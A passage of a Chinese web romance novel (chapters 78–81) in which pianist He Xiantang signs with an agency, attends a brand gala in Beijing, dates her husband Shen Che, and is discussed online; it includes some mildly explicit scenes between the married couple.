“我觉得我们之间要坦诚。” 沈澈笑了:“好。” 他打横将她抱起。 一声闷雷滚在云里,哗啦一声,下雨了。 床垫起起伏伏,贺羡棠觉得好像淋了场雨,她又忍不住哭了,沈澈说:“cici好爱哭。” “下面也是。” 一股电流顺着脊背往上爬,酥麻得要命。 贺羡棠受不了,抽噎着去捂他的嘴,胳膊软绵绵的,并没有什么用。 沈澈笑了笑,恶劣地进入更深,听见贺羡棠带着哭腔的一声闷哼,心满意足。 “cecilia,以后不准因为别的男人哭。” 【作者有话说】 cici去测mbti的话一定是高阶infp^ω^ 评论区给大家发点小红包^ω^ 78 第78章 ◎沈濯这小子吃这么好?!◎ 比赛结束后,亲友团都回家了,但贺羡棠还不能立刻回香港,虽然因为手伤,她不用参加后续的音乐会,但有几家杂志访谈需要应付,也有几家经纪公司和唱片公司向她抛出橄榄枝。 贺羡棠有点纠结。 在和乐团合作时,这方面的工作都是由乐团负责。 “如果不签经纪公司,我就更自由。” 沈澈说:“那就不签。” “可是如果不签,很多工作都需要我自己来做。” “那就签。” “如果签,还要和他们分成。” 沈澈问:“你一场音乐会能赚多少?” 贺羡棠赧然:“几十万。” 这个数字在古典音乐届还算可以,毕竟顶尖的钢琴家,一场演出也不过七位数呢!但在面前这位每天经手的生意都是以亿为单位的沈董眼里,应该是不太够看的。 贺羡棠补充道:“但如果算上赞助收入的话,还能再高一点点。” 沈澈端起咖啡杯:“那你给他们的分成还不够买个包的。” 他讲的很委婉了。因为贺羡棠一场音乐会能赚到的钱还没有她在音乐会上穿的高定贵。 贺羡棠的脸红扑扑的:“日积月累也是很大一笔钱呢!” 自己赚的钱就是要更值钱一点。 沈澈点头表示赞同:“你继续。” 他算是听出来了,贺羡棠在这儿列优缺点呢。 贺羡棠说:“如果不签经纪公司,我自己组建工作室也需要很大一笔支出。” 沈澈说:“而且他们更专业。” 贺羡棠深呼吸,像是做了一项很重要的决定:“那就签吧!” 沈澈把另一杯咖啡往前推:“先吃早餐。” 贺羡棠在他对面坐下:“有两家经纪公司都联系我了。” 沈澈已经吃完了,擦下手说:“我看看。” 一家英国的,一家北美的,都算是全球颇负盛名的经纪公司,英国那一家更偏重艺术行业,签了很多著名的演奏家和画家,北美那家则更加综合,除了代理音乐人的经纪约之外,还涉足体育和影视行业。 沈澈看了会儿资料,说:“签北美那家吧,NAA。” NewArtistsAgency。 贺羡棠切开胡萝卜松饼,混着几颗鲜莓果一起送进嘴里,树莓有点酸,她皱了皱鼻子:“为什么?其实我更钟意另一家。” 沈澈说:“因为我*认识他们老板。” 贺羡棠眼睛闪了闪:“那你能让他们在分成上给我优待吗?” 沈澈笑道:“我能让他们给你安排一个女经纪人。” 合同在布鲁塞尔就签了。 贺羡棠原本还想自己看一看条款,捏着厚厚一沓A4纸,一眼扫过去,全是密密麻麻的专业词汇,她头疼,丢给沈澈,自己跑回酒店睡大觉,所以细节都是沈澈敲定的,贺羡棠只负责签字。 专业的人士,专业的运作,专业的新开始。合同一签好,杂志、代言、唱片、独奏会以及和爱乐乐团的合作演出就都排上日程了。 NAA在大陆有分公司,主要负责亚太区艺人经纪代理事务,为了方便,贺羡棠的经纪人由分公司指派,是位香港人,和她年纪差不多的女性,贺羡棠还不知道她的中文名字叫什么,只知道她叫Quinn。 Quinn穿白T和牛仔裤,长卷发用棕色鲨鱼夹盘在脑后,看上去不像电视剧里的职场女性,但一和她接触,贺羡棠就发现她很专业。 听Quinn给她讲后续的工作安排,贺羡棠感到头大。 好多工作。 “我大概要三个月后才能演出。” 保守治疗的同时,贺羡棠的医生勒令她休息。 Quinn点一记头:“正好这期间先把杂志拍了,接洽几个代言。” 贺羡棠有种一脚踏入娱乐圈的感觉。 既然签了经纪公司,贺羡棠一切都不费心,只听安排,从布鲁塞尔去伦敦拍了杂志,八月份回香港,只待了两天,Quinn为她接洽的品牌有一家新店在北京开业,她便受邀去北京参加晚宴。 Oak,一家来自瑞士的钟表品牌,贺羡棠飞往北京前,沈澈缠着她,从书房到卧室又到浴室,十分不满:“你比我还忙。” 他在布鲁塞尔待了太久,工作堆积如山,实在抽不开身陪她去北京。 贺羡棠半分力气都没有,脑袋一点就睡过去了。 贺羡棠不常来北京,Quinn的母亲却是北京人,因此尽地主之谊,带她尝了几样北京的特色菜。 “你现在多吃一点,”Quinn说,“晚宴上肯定吃不饱。” 这些奢侈品牌的晚宴都一个样,菜是摆上来看的,多是冷食,份量小,不一定好吃,但一定好看,只有香槟杯是不离手的,迎来送往地社交。 贺羡棠猛点头。 她挺喜欢吃家常菜。Quinn还让服务员上了两碗灰绿色的液体,闻着不太妙。 Quinn舀了一大勺往嘴里送,细品一下,才说:“豆汁儿,北京的特色小吃,你要尝尝吗?不过好像大部分人都喝不惯。” 看她喝的很香,贺羡棠说:“我试……” 说着抿一小口。 天啊,她觉得自己味蕾坏了。 贺羡棠鼻子眉毛皱成一团:“你喜欢喝这个?” Quinn赶紧把勺子丢了:“我也是第一次喝。” “那你刚刚……” “我想骗你尝尝。”Quinn拍着掌笑,“哈哈哈我要是说很难喝,你肯定就不尝了。” 贺羡棠:“……” 其实如果Quinn说很难喝,她也会想尝尝究竟有多难喝。 新店开业,请了一堆明星来宣传,贺羡棠只去晚宴,七点钟才到现场。 古典音乐圈太小众,在娱乐圈的星光熠熠面前过分黯淡,贺羡棠又是古典音乐圈里尚还不太亮的一颗星,按理来说,没什么太高的待遇。但她身份特殊,因此座位在亚太区总裁旁边。 晏宁的经纪人萧知许皱眉,拉住一个工作人员问:“那是谁?” 按照晏宁的咖位,明明应该是她坐在那个位置! “最近挺出名的一位钢琴家,叫Cecilia。” “Cecilia……”萧知许念叨着这个名字,更疑惑了。 如果是品牌的Vic,还说的过去。可听上去,她也是品牌方邀请来的。萧知许扭头去找晏宁八卦。 晏宁正端着香槟杯和一位前辈聊天,告罪一声,随萧知许到角落里。 “你旁边坐了位钢琴家,我刚刚查了一下,上个月帕那索斯比赛的亚军,叫Cecilia,网上资料很少。”萧知许啧了声,“她怎么能坐到你旁边呢?” 晏宁顺着她示意的方向看过去。 很漂亮的女孩,穿一条粉色抹胸高开叉鱼尾裙,脖子上戴着红宝石项链,主钻比鸽子蛋都大,实在耀眼。 但晏宁第一眼看到的,还是她的脸——一张进娱乐圈也绰绰有余的脸,鼻子嘴巴眼睛哪哪儿都漂亮,更重要的是和谐沉静,属于越看越耐看的类型。 她头发盘起来,肩颈自然流畅的弧度更显得高贵典雅,像一株莲。 萧知许职业病犯了:“她穿了条高定。” “太合身了,像是她自己的。” “项链也是克里斯汀拍卖会上去年被拍走的那条。” 这人到底什么来头? 晏宁觉得她有点眼熟:“Cecilia?” “是啊,网上关于她的资料很少,除了音乐会就是比赛。现在弹钢琴的咖位都这么大了吗?还只是个亚军。” “Cecilia。”晏宁又念了一遍这个名字,忽然灵光一闪,“她中文名叫什么?” 萧知许说:“不知道啊。” 问和他们对接的pr,pr讳莫如深:“我们也不清楚,她很神秘。” 因为她的到场,这场晚宴的安保等级临时提到了最高级别,但是除了亚太区总裁,怕是没人知道她的真实身份。 萧知许更好奇了。 晏宁终于想起来:“我知道了!” 萧知许:“嗯?” “她姓贺。” 香港人,顶级豪门贺家的二女儿,沈澈的妻子,她的……嫂子。 “cecilia?你好,”晏宁在贺羡棠身旁落座,微微一笑,“我们位置挨着。” 贺羡棠猝不及防,被美的心弦一颤。 不愧是大明星哎! 沈濯这小子吃这么好?! “你好。”贺羡棠笑道,“你好漂亮啊,比电视上更漂亮。” 晏宁礼尚往来:“谢谢,你也很漂亮。” 听沈濯说她和沈澈离婚了,晏宁不确定贺羡棠知不知道她和沈濯的关系,贸然提起也有些冒昧,便没多说什么。 贺羡棠激动地拿出手机,怕被晏宁看见屏幕,还稍稍倾斜了下。 她给沈澈发消息:“你猜我遇见谁了!” 沈澈可能在工作,过了几分钟才回复:“谁?” 他补充了句:“刚刚有点事。” 贺羡棠:“晏宁哎!!!” 沈澈:“这么巧。” 贺羡棠:“嗯!!!她好漂亮哦!沈濯也太有福气了吧!” 沈澈:“我觉得我也挺有福气的。” 贺羡棠脸有点烫:“不说了,我要和晏宁聊会天。” 放下手机,她主动搭话:“晏宁老师,我听沈濯提起过你。” 晏宁捂着嘴小声说:“我也听沈濯提起过你。” 对上号了。贺羡棠说:“你别叫我cecilia了,叫我嫂嫂吧。” 晏宁咧嘴一笑:“嫂嫂。” 被这么靓的靓女叫嫂嫂,贺羡棠特激动:“我要给你发利是!” “啊?”晏宁连连摆手,“不用不用。第一次见面,这怎么好意思。” “就是第一次见面才要给呀。”贺羡棠昨天到北京,今天就会玩微信了,“你有没有微信?我加你吧。” 互相加上微信,贺羡棠出手大方,给她转了好大一笔钱,晏宁不敢收,贺羡棠说:“收着!你都叫我嫂嫂了,嫂嫂怎么能没有点表示呢?哎呀你不要不好意思,沈濯以前每年都坑我很大一个红包的。” 晏宁说:“我和沈濯明天请您吃饭吧。” “好啊。” 两人又闲聊了会儿,贺羡棠问晏宁:“你是这家的代言人吗?” 晏宁说:“两方刚接触,还没签合同,今天我就是来玩的。” 贺羡棠哦了声:“你和沈濯的恋情是不是公开了?” 前一阵子她上网看到过。 晏宁点点头。 贺羡棠就扭过头向身边的亚太区总裁介绍:“这是我弟媳,你们还在接触吗?她和你们的品牌调性很符合啊。” 贺家是他们在中国,乃至整个亚太地区最重要的顾客,贺羡棠的这一句话,分量很重。总裁当场表示他会向总部反应,缩短考察期,尽快促成合作。 晏宁十分感激:“谢谢嫂嫂。” 贺羡棠挥一挥手:“一家人不要那么客气嘛。” 晚宴结束后,沈濯来接晏宁,见到贺羡棠,没什么惊喜,沈澈已经提前和他通过气了。他才规规矩矩叫人:“大嫂。” 晏宁挽着他笑。 贺羡棠小声说:“你天天过的都是什么好日子啊!” 沈濯还是一副漫不经心的模样:“我哥也不赖。” 贺羡棠的脸迅速红了。 告别这俩人,贺羡棠有点想沈澈了。实在是他们俩就像热恋期的小情侣,甜蜜的一个劲冒粉红泡泡。 刚想了没三分钟,沈澈拨电话过来。 贺羡棠接通,问他:“打电话干什么?” 沈澈无声地笑了笑:“转身。” 贺羡棠没多想,依言照做,一转身,看见沈澈举着手机站在不远处。他笑的很温柔,像夏夜柔和又清爽的晚风。 贺羡棠心脏猛跳,听见他说:“原本以为能忍过这两天的,结果发现……” “还是太想你。” 79 第79章 ◎“没穿吗?”◎ 贺羡棠扑向沈澈,像那年在林肯中心,她扑进他怀里。雀跃,满心欢喜。 沈澈盯着她,忽然意识到,贺羡棠真的是个很勇敢的人,只要他愿意往前走一步,她就能毫不犹豫地奔向他。 这样的人,他怎么会错过五年? 她要求也不多,只要沈澈肯迈出这一步就好,可是偏偏他开窍这么晚。沈澈说不上什么滋味,抱了个满怀,百转千回的心肠直到最后,落在一点庆幸上。 幸好这个人还是她的。 沈澈的目光太直愣愣,贺羡棠疑惑地用手背蹭了下脸颊:“我脸上有东西吗?” 沈澈说:“没有。” 他声音有些哑。 贺羡棠抱着他胳膊,几分娇痴:“那你这么看着我……” “很漂亮。”沈澈低头吻她。 贺羡棠被他轻轻拂来的鼻息弄的有点痒,笑着躲了一下才又迎上去。毕竟还在街上,两人的唇一触即分,只交换一点彼此的气息。 提到漂亮,贺羡棠想起来:“你有没有见过晏宁?” “以前见过,好多年了,记不清。” 那几年沈澈忙的要命,没功夫在意弟弟的女朋友是谁,倒是听说他谈恋爱夸张得要死,搞得有一阵香港小报全靠编排他沈二少的恋情博眼球。 “她好漂亮啊。”贺羡棠碎碎念,“比电视里漂亮多了,果然他们说明星上镜会变丑是真的。哎对了,晏宁说明天要请我吃饭,我们一起去吧?” “不去。” 贺羡棠问:“为什么?”想到那些沈濯和家里闹翻的传言,她以为沈澈不愿意见晏宁,说,“人家很热情的哎,好歹是你亲弟媳,你给点面子啊!沈濯应该也去吧,他们俩像连体婴一样。” “不去。”沈澈揉了下她耳垂,低声说,“我来跟你约会,不见他们俩。” 这是一种贺羡棠最受不了的声音。沈澈的声音天生低沉偏冷,像某种金属的感觉,偏偏他说这些话,又是最旖旎缠绵的语调。 贺羡棠觉得被他揉过的地方像有把火在烧,她不再说话,闷头往前走了一阵,忽然咬着唇笑了。 “那我们去划船吧?” “划船?” “嗯!”贺羡棠点头,“什刹海可以划船,我们傍晚去,凉快。这时候荷花应该都开了,很漂亮的!” 上次来北京还是好几年前,贺羡棠像个游客,爱往景点里跑。 沈澈饶有兴趣地问:“白天干什么?” 贺羡棠没想到,闻言微微蹙眉,很认真地思考:“白天……” 沈澈附在她耳畔,笃定地说:“白天你起不来。” 回酒店,折腾到凌晨三点多,贺羡棠沉沉地陷在柔软的鸭绒被里,只有一个念头——白天她真的起不来。 明明不年轻了,明明前不久才……贺羡棠不明白为什么还能到凌晨。她沉浸在快感的余韵里,一时半会缓不过来,一片混沌的大脑里莫名其妙地闪过了这些问题。 沈澈拨开她汗涔涔的发丝,吻她的额头。 贺羡棠负气地翻了个身,拿背对着她,这会儿倒是困了,昏昏欲睡间听见沈澈一声低哑的笑,然后被他抱进浴室。 她不知道什么时候睡过去的,但是突然换了地方,睡得不踏实,总是做梦。 早晨短暂地醒了一次,阳光明朗,照的满室亮亮堂堂,沈澈坐在窗边的单人沙发上,不知道在和谁打电话,贺羡棠竖起耳朵听,半梦半醒,听见几句断断续续的话。 “饭就不吃了。” “她还在睡。” “转告弟妹……” “祝你们早生贵子。” 跟沈濯打的吧…… 他怎么还是醒这么早? 贺羡棠脑袋发昏,把脸埋进被子里,再次睡过去。 彻底清醒时快中午了。酒店是套房,卧室里没见到沈澈的身影,贺羡棠披上晨袍,转进书房,见他果然坐在办公桌后,一脸凝重地盯着笔记本屏幕看。 贺羡棠屈指敲下门。 沈澈抬头朝她笑,见她走来,扣上电脑。 “在看什么?”只有一把办公椅,贺羡棠不想站着,也不想坐书桌,就坐在他大腿上,随口问,“有工作吗?” “没有,随便看看。”沈澈的手探进她晨袍内,十分自然地岔开话题,“没穿吗?” 她的晨袍很短,堪堪遮过大腿根,随着他的动作往上滑。贺羡棠脸上发烫,不敢往下看,视线落在桌面上。 怪不得她总感觉哪里不太对劲! “昨晚是你……”贺羡棠推他胳膊,“你没给我穿。” 办公椅上就那么大点空间,皮肤贴着皮肤,身体贴着身体,贺羡棠不敢动,身体僵硬,呼吸都滞住。 沈澈十几岁时有几年一直泡在射击场上,因此指腹上有层薄薄的茧,磨过最柔嫩的皮肤,存在感实在太明显了。贺羡棠整个人红成了煮熟的虾子,半弓着背,额头抵在他肩膀上,咬住下唇,才不至于发出什么声音。 半晌她听见沈澈低笑了声,抽出手给她看,指尖上挂着莹亮的透明液体。 他笑的带点痞气,贺羡棠扭开头,有气无力:“流氓……” “有点肿,所以没给你穿。”沈澈探身抽一张纸巾,随便擦了下,问,“疼吗?昨晚给你上了药。” 贺羡棠摇头,随即想到:“你哪来的药?” 沈澈理所当然道:“让酒店送的啊。” “酒店送的……”贺羡棠喃喃重复,忽然提高声音,“酒店送的?” “凌晨三点我也不能出去买吧。” “你凌晨三点,让人送那种……那种药?”贺羡棠面无表情地捂住脸,“我今天不要出门了!” 沈澈问:“不划船了?” 贺羡棠:“……” “你让我怎么见人啊!” “值班的工作人员早换了,没人认识你。”沈澈唇边逸出几分笑意,捉着她的下巴亲了一口,“吃不吃东西?老公亲手给你做爱心早……午餐。” “我想吃面。” 沈澈去做饭,贺羡棠换了会儿,等脸上的热意褪去,换身衣服,洗漱完,Quinn给她发消息,请她查收代言邮件,贺羡棠对着厨房的方向喊了声:“我用下你的电脑!” 沈澈喊:“随便用!” 他的电脑里有很多重要文件,却没有密码,大概坐到他这个位置,如果电脑里的东西还能泄漏出去那公司也不用开了。 贺羡棠一打开,屏幕还停留在沈澈早上浏览的页面上。贺羡棠其实也发现他不对劲,像有什么秘密藏着不给她看,但谁没有秘密呢?即便是夫妻,也要相互信任并给予彼此自由,她不想深究,眼珠往上瞥,尽量不看内容,打算关掉,可还是不可避免地看见了搜索栏—— 和女朋友约会可以做什么事情? 贺羡棠一笑,没什么心理负担了,大大方方地仔细浏览。 谷歌给出的答案很常规,多是些小情侣常做的事,什么看电影逛夜市打卡网红店之类的。 贺羡棠托着腮,打开历史记录,沈澈一早上搜的问题还包括——女朋友是钢琴家会喜欢什么样的约会,北京画展,北京网红甜品店,热映影片,北京diy店…… 她看了会儿,打开邮箱,查收邮件后给Quinn回复,步履轻盈地飘向厨房。 竹升面,煮的清淡,只放了点小青菜,水雾往上飘,沈澈的面容朦胧在里面。贺羡棠从身后抱住他,语气满是戏谑:“和女朋友约会打算干什么?” 沈澈一愣:“你看见我的浏览记录了?” “不是我故意看的,他自己弹出来的。”贺羡棠啧了声,佯装嗔怒,“不给看吗?” 沈澈一挑她下巴:“我这个人你都随便看。” 贺羡棠满意地点头,几秒后反应过来他又在讲荤话,怒冲冲地瞪他。 沈澈笑盈盈地垂下眼,问她意见:“面煮好了,加个煎蛋?” 他还叫酒店送了几个清淡的小菜,简单吃顿早午餐。 沈澈问:“下午去听音乐会好不好?国家大剧院好像有小提琴独奏会,不知道你感不感兴趣。” 虽然早已截止售票,但沈澈想要两张票还是很简单的。 贺羡棠摇摇头,说:“你陪我看电影吧。” 她就想做点小情侣最常做的事。 “好,我订票。” “晏宁是不是有一部在上映?”贺羡棠说,“正好咱们去支持一下票房。” 这是沈澈这辈子第一次踏足影院,还看了部烂俗的爱情片。晏宁在里面客串一个配角,听说是还人情的,友情出演,没要片酬,戏份也不多。 剧情太无聊,贺羡棠中途就睡着了,走出影院时都松了口气。不过她还是很开心,牵着沈澈的手挤在电梯最角落里,周末来商场的多是情侣,他们像里面最平常最普通的一对。 走出电梯,混在人流里,贺羡棠凑近沈澈耳边说:“我一直都想谈这种恋爱。” 沈澈目光微闪:“哪种?” “就是……看看电影散散步,最平常的那种。” 沈澈心口像一块棉花堵住,酸胀而柔软。 原来拥有贺羡棠,只需要陪她做这些最平常的事。 沈澈看了贺羡棠一会儿,忽然觉得这世界上再也没有比他更笨拙更迟缓的丈夫。 沈澈说:“那我们就一辈子都谈这种恋爱。” 80 第80章 ◎“你是爽的那一个,你当然不疼。”◎ 八月,不管白天再怎么炎热,傍晚的风里也多出几分清爽。 在荷花市场码头上船,划开水面上夕阳余晖,一圈一圈的波纹荡开,隐入荷花丛中。 在水中央,贺羡棠吹着晚风,拍照,玩水,看见一只游泳的小狗,没一会儿觉得有点无聊,凑到沈澈旁边:“给我开一会儿呗。” 电动船,开起来应该挺简单的。 沈澈的衬衫被风吹鼓,贴在贺羡棠手臂上,她攥着,轻轻一拽:“我想试一下。” 沈澈问:“你可以?” 贺羡棠抬头挺胸:“看不起谁!我十八岁还参加过学校社团组织的皮划艇比赛!” 沈澈沉默片刻:“你是说……其他人都划到终点了你还在原地打转那一场吗?” 贺羡棠:“?” “你怎么知道!” 那年贺羡棠刚考入茱莉亚音乐学院,看什么都很新鲜,和同学一起加入了几个社团,十月份,枫叶红了,大家就组织去中央公园划皮划艇,友谊赛,贺羡棠心想这有什么难的,遂主动报名参赛。 结果没想到她方向感差的匪夷所思,划来划去原地打转,后来因此被同学嘲笑了很久。 “路过。”沈澈说,“碰巧看见了。” 那年十月末,中央公园的枫叶如期染红,繁重的课业和工作之间,他偶尔也会出门透透气。 走在岸边,远远看见有一队人划皮划艇,驻足看了一会儿,有个金发女孩儿一直在起点打转,微冷的天气里,急出一脑门儿汗,最后干脆把浆一丢,托着腮坐在原地等。 可爱的冒傻气。 阳光穿过层层红叶,落在她脸上,白皙的近乎透明的皮肤闪着珍珠般的光泽。沈澈走近一点后发现,这个女孩儿他认识。 她把头发染成了金色,梳双麻花辫,戴着粉色小蝴蝶结的发夹,比记忆里长开了,青春洋溢。 沈澈只想一个人散散步,没有相认,寒暄一番,甚至说不定还要一起吃顿晚餐的打算,便没有打招呼,原路返回。 贺羡棠忍不住打他,不讲理起来:“你不准揭我短!” 沈澈没躲,反而搂住她,轻轻一用力,将她抱在腿上,空间很小,无法容纳两个成年人,贺羡棠只能侧着身子坐。 沈澈松手,把方向盘让给她:“好好好,你来。” “这样怎么划?”贺羡棠扭了下腰,“好多人呢,你快放我下来。” “别乱动。”沈澈吻了下她耳朵尖,“这可是在外面。” 贺羡棠立刻警惕地看四周。还好船很分散,应该不会有人注意到他们。 她靠在沈澈滚烫的怀抱里,双手握住方向盘,攥得紧紧的,指甲都有些泛白。相较于她,沈澈则闲适多了,偶尔捉着她下巴,在唇上印一个吻。 深深浅浅,长长短短。贺羡棠有时会忘记他们还在水面上,幸好有沈澈在,能及时转一下方向盘,船才不至于直挺挺地撞进荷花池。 停船上岸,贺羡棠一抬头,看见厚重的云朵中散下缕缕金光,那是一蓬很标准的爱心云朵,她拍下,打算发ins。 太阳落山了,红墙绿柳隐在鸭蛋青的天色里,不似百日那般明亮,有种宁静安详的风味。一盏盏仿古小灯亮起来了,深蓝色的水上晃着破碎的红光。 这是一天里最舒服的时间。 贺羡棠牵着沈澈,翻过一座桥,漫无目的地沿着岸边走,想看看有没有感兴趣的店。 全国这样的景点都大同小异,仿古建筑,开专门卖给游客的小吃店和纪念品店,但北京有它作为首都的独特的底蕴,宏伟又接地气。 站在一家火锅店门口,贺羡棠依稀记得这是家很火的网红店,进去取号,居然要排五十多桌。 这么火,贺羡棠高低要尝尝咸淡。 沈董人生第一次出门吃饭还要排队。不大的门面,外面摆了一溜儿红色塑料板凳,等位的人一个挨着一个,最末尾给他们剩了俩座位。 贺羡棠扫了一眼不知道用了多久,表面都有些泛黑的板凳,又摸了摸她五位数的新裙子,选择站着。 站了没三分钟她就累了,挂在沈澈身上,沈澈托着她的腰,笑话她体力差。 贺羡棠撇撇嘴:“还不是都怪你,我今天一直有点儿腰疼呢!” 沈澈说:“我怎么不疼?” 贺羡棠小声嘀咕:“你是爽的那一个,你当然不疼。” 沈澈失笑,贴在她耳边,故意放慢语速,一字一句浸满了笑意:“你昨晚明明也说很爽。” “哎呀别说了!”贺羡棠捂住耳朵,脸颊一片绯红。她不让沈澈说,自己还要辩驳两句,“明明都是你逼我的!我不说你就……” 说到一半,她觉得奇怪,为什么要在外面谈论这样的话题。手放下,眼珠滴溜溜地转了一圈,瞥见沈澈唇边揶揄的笑。 贺羡棠抿一抿唇:“你讨厌死了。” 真奇怪,明明是不满的话,可沈澈就能听出来她的口是心非,软绵绵的尾音里带出一点点撒娇的意味。 热恋里的小情侣都是这样的,习惯了含蓄内敛的表达方式,讨厌不是讨厌,是未说出口的喜欢。 沈澈搂着她,侧头亲了下她唇角。 夏夜有蚊子,贺羡棠穿一条深蓝色粗花呢吊带连衣裙,长度只到大腿,长手长腿都露在外面,没一会儿小腿上就被咬了两个包。 沈澈蹲下给她擦花露水,忍不住蹙眉。 正巧里面在叫号,身旁一对情侣捏着小票起身,沈澈彬彬有礼地打招呼。 “你好。”他边说边从钱夹里抽出一沓千元港币,心想还好他出门带了现金,“能不能请你把这个号让给我们?这是一点谢意……” 他讲话从容不迫,举手投足却有让人无法抗拒的威慑力,是久居高位才能养出来的气质。 女生盯着他手里那一沓港币,粗略估算了下能有一两万块,这只是家人均一百块的小店,她爽快地应下了,一手交钱一手交票。 沈澈捏着小票挥了挥,得意地扬眉。 成功吃上饭。 是家铜锅涮肉,冬天吃更好,不过店内冷气开的足,也无所谓。贺羡棠只点肉,最后加一小盘手擀面,吃撑了,从店里出来,又拉着沈澈走了半个小时。 晚风轻柔,他们俩四海八荒地聊天,贺羡棠又笑又闹,一张漂亮的小脸在夜色中白的发光。 她一直没松开沈澈的手。 / 视频里女生穿着件香奈儿的裙子,挂在男人身上,小腿又长又直,大概是站久了,她有点累,脚腕晃了几下,黑色蝴蝶结小高跟鞋抬起来,又稳稳落地。 男人也任她靠着,风吹过,抬手帮她被吹到脸颊旁的发丝。 画面上两个人都是侧脸。赵珩还是一眼就认出来了,是贺羡棠和沈澈。 这段视频是路人拍到的,随手发到网上,配字说在什刹海遇见了一对男帅女美的情侣,不到十分钟就火了。 “天啊好养眼啊!” “女生好漂亮啊,和香奈儿配一脸,什么精致千金大小姐!” “般配!” “我在什刹海也遇见他们俩了,只能说出道也不过分。” “好像是那个谁和那个谁……他俩才不会出道吧。” “谁啊?含含糊糊的还不如不说。” “我懂!就是那个谁和那个谁!关注一点HK豪门八卦的都知道吧。” “他弟也不是在北京吗,最近很火那对。” “等等,我好像知道是谁了。怎么看起来这么甜,他俩不是各玩各的吗?” 现在社交网站的推送规则离谱到,赵珩一打开软件,第一条视频就是这个。 他反复看了不下十遍,牙疼,点开评论,更疼了,嘶哈嘶哈地倒吸冷气。 “别看了。”Mia抽走他的手机,顺手点一个举报。 赵珩瘫在单人沙发里不说话。他这颓废的状态从布鲁塞尔回来后持续到现在了,Mia揪着耳朵骂他:“至于吗?没精打采的,道士见了都要先往你身上撒一瓢黑狗血。” “我就去新加坡待了一阵子,”赵珩匪夷所思,“他们俩怎么又搞到一起了?” “那不是很正常,你也说是又喽。”Mia托着pad刷ins,随口问,“贺羡棠生日你打算在哪办?酒店还是……” 赵珩说了家会所,话题又偏回去:“这正常吗?一点都不正常好不好!贺羡棠哎!贺羡棠居然吃回头草!” Mia把P好的照片发上去,随口敷衍他:“正常。” 点击发送,刷新了几条评论,Mia放下pad,一抬头,赵珩还是那副半死不活的表情。她火上浇油:“贺羡棠为什么不能吃回头草?她就长了个恋爱脑,不然她能喜欢姓沈的那么久?早把他踹了。” 赵珩嘴唇动了动,一时间思绪万千,说出口的第一句话居然还是:“她不是恋爱脑,她只是专一!” Mia说:“没救了。” 赵珩仰天长叹。 “谁叫你跑去新加坡的。” 赵珩沉默片刻:“……我以为她喜欢事业型男人。” Mia:“……” “你等等啊。”Mia捞过她的包,埋头翻找。她包里东西多,什么化妆镜啊粉饼啊之类的,叮铃啷当一阵响。 赵珩问:“找什么?” Mia终于抬起头,从包里掏出一把金铲子,庄严隆重地双手交给赵珩,仿佛他们传递的不是一把铲子,而是奥林匹克的火炬,是永不言弃百折不挠屡败屡战的精神。 她看热闹不嫌事大:“如果你还是想撬姓沈的墙角,那我也只能友情资助你一把金铲铲!” 顿了顿,她补充:“纯金的哦。” 80-85 81 第81章 ◎“如果他对你不好,我还是会带你离开。”◎ 回到香港,不久后就是贺羡棠生日了。 她掰着手指头数,一数吓一跳,跟沈澈说:“我老了!” 沈澈办公桌上的文件堆成山了,他翻开一份,眼皮都没抬,淡淡地说:“那我也老了。” 贺羡棠不满他的态度,双手握拳敲了敲桌面:“沈澈!” 沈澈把她抱到腿上,顺手摸了把她脸颊:“老什么?这不是很年轻么。” 其实奔入三十岁行列之后,和二十几岁也没什么太大的差别。小的时候总觉得三十岁会如何如何,对三十而立充满各种曼妙的想象,然而时间是自然而然流逝的,如白水一般,让人无法察觉。 贺羡棠心态年轻,长相年轻,连兴趣爱好都年轻,每年也只有在这几天里才对自己的年龄有实感,只不过一旦想起来,她就疑神疑鬼。 她脑袋抬了下,毛茸茸的头发蹭过沈澈下巴:“你看看我有没有白头发?” 沈澈放下手里的文件,拨弄她的发丝,很仔细地找了一会儿。 贺羡棠紧张兮兮的:“有没有?” 沈澈说:“别动。” 贺羡棠不敢动了:“不会真的有吧?你帮我拔掉。” 沈澈神神秘秘地说:“你有没有听过拔一根长三根?” 贺羡棠没听说过:“为什么?” “因为就把周围的头发都吓白了。” 好冷的笑话。贺羡棠干巴巴地笑了两声,催促道:“你快帮我拔了。” 沈澈的大手揉了揉她头顶:“没有,逗你玩的。” 贺羡棠打他,不太相信,拿镜子照着看了好久,眼睛都酸了也没找到,这才放心下来。 “我感觉才刚毕业呢,怎么就三十多岁了。” 她读完了硕士,沈澈说:“你毕业的时候也二十……” 在贺羡棠越来越危险的目光中,他及时刹车,双手从后面环住她,哄小孩儿似的:“看文件看文件。” 贺羡棠哼了*声:“我看不懂。” 都是商业机密,她才不看。 沈澈亲她脸颊:“陪我看一会。” 贺羡棠哼了声,安静坐着,只是她在沈澈怀里坐的不安生,总是乱动,踢一下桌子,揉揉肩膀,探身拿桌上的手机。 她每动一下,沈澈大腿就被蹭一下,偏偏她自己浑然不觉。沈澈只觉得喉咙发紧气血下涌,再这样下去工作真处理不完了,他拍了下她屁股:“你还是自己玩去吧。” 贺羡棠蹙眉:“不是你叫我陪你的?” 沈澈顶了她一下:“这样陪到晚上我也开始不了工作。” 贺羡棠这才发觉。夏天衣服薄,她在家只穿家居服,这样一来,那地方的存在感可太强了,又硬又烫。 反应过来,她忙不迭跳下去,朝后挥了挥手让他专心工作,否则小心才三十来岁就肾虚了。 这会儿又变成“才三十来岁”了。 沈澈笑着摇摇头,去冲了个冷水澡,才又坐回办公桌前。 晚餐前贺羡棠又跑去书房。她没事情做,被三令五申地不许弹钢琴,Fanta也被赵珩接回去了,在家待着无聊,只好去打扰沈澈。 她悄悄推开门,探进去一个毛茸茸的小脑袋,沈澈埋在工作里,虽然没抬头,唇角却已经扬起来了,等着看她想做什么。 等了一会儿,贺羡棠居然没声音,就维持着那个费力的姿势。沈澈只好清清嗓子:“过来。” 贺羡棠噔噔噔跑过去。 他装矜持:“诚心想让老公加班。” 贺羡棠竖起两根手指头:“我就说两句话。” “嗯?” 贺羡棠的表情一下子生动起来,她脸颊微红,咬了下唇,琉璃似的眼睛顾盼生辉:“你记得明天是什么日子吧?” 贺羡棠忽然被他搂着腰拉近了,这些天的亲密接触已经成了和吃饭喝水一样自然的事情,她已经完全预料到了沈澈接下来要干什么,闭上眼等待。 等了三秒,没等到沈澈的吻。 贺羡棠挑起眉毛,睁开眼瞧,沈澈正很专注地盯着她。 那一双眼睛很漂亮,像一潭深深的湖水,仿佛能把人吸进去。贺羡棠愣了一下,在里面看见了自己的倒影。 “看……哎?” 